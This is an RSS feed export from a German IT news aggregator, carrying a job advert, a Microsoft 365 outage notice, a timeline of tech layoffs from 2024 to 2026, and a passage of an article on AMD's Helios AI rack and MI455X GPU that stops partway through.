<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=from+azure+aiopswithout+knowing%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sun, 02 Aug 2026 03:08:53 +0200</lastBuildDate>
<pubDate>Sun, 02 Aug 2026 03:08:53 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>

<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=from+azure+aiopswithout+knowing%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Anzeige: IT-Jobs in Support, Administration und Entwicklung]]></title>
<description><![CDATA[Von Microsoft-365-Support bis zur Teamleitung in der Azure-Cloud: Diese sechs IT-Jobs bieten vielseitige Aufgaben zu guten Konditionen. (Golem Karrierewelt, Unternehmenssoftware)]]></description>
<link>https://tsecurity.de/de/3695173/it-nachrichten/anzeige-it-jobs-in-support-administration-und-entwicklung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695173/it-nachrichten/anzeige-it-jobs-in-support-administration-und-entwicklung/</guid>
<pubDate>Sun, 26 Jul 2026 07:15:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Von Microsoft-365-Support bis zur Teamleitung in der Azure-Cloud: Diese sechs IT-Jobs bieten vielseitige Aufgaben zu guten Konditionen. (<a href="https://www.golem.de/specials/golemakademie/">Golem Karrierewelt</a>, <a href="https://www.golem.de/specials/unternehmenssoftware/">Unternehmenssoftware</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211259&amp;page=1&amp;ts=1785042002" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Wartungsfehler führte zum M365-Ausfall am 23.7.2027]]></title>
<description><![CDATA[Am 23. Juli 2026 kam es zu einer größeren Störung der Microsoft 365-Dienste. Die Störung begann am Donnerstag, dem 23. Juli, um 10:44 Uhr ET und betraf vor allem Kunden, die über eine mit der Azure-Region „West US" von Microsoft … Weiterlesen →
Quelle]]></description>
<link>https://tsecurity.de/de/3694927/it-nachrichten/wartungsfehler-fuehrte-zum-m365-ausfall-am-2372027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694927/it-nachrichten/wartungsfehler-fuehrte-zum-m365-ausfall-am-2372027/</guid>
<pubDate>Sat, 25 Jul 2026 22:30:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Am 23. Juli 2026 kam es zu einer größeren Störung der Microsoft 365-Dienste. Die Störung begann am Donnerstag, dem 23. Juli, um 10:44 Uhr ET und betraf vor allem Kunden, die über eine mit der Azure-Region „West US" von Microsoft … <a href="https://borncity.com/blog/2026/07/25/wartungsfehler-fuehrte-zum-m365-ausfall-am-23-7-2027/">Weiterlesen <span class="meta-nav">→</span></a>
<p><a href="https://borncity.com/blog/2026/07/25/wartungsfehler-fuehrte-zum-m365-ausfall-am-23-7-2027/" rel="nofollow">Quelle</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



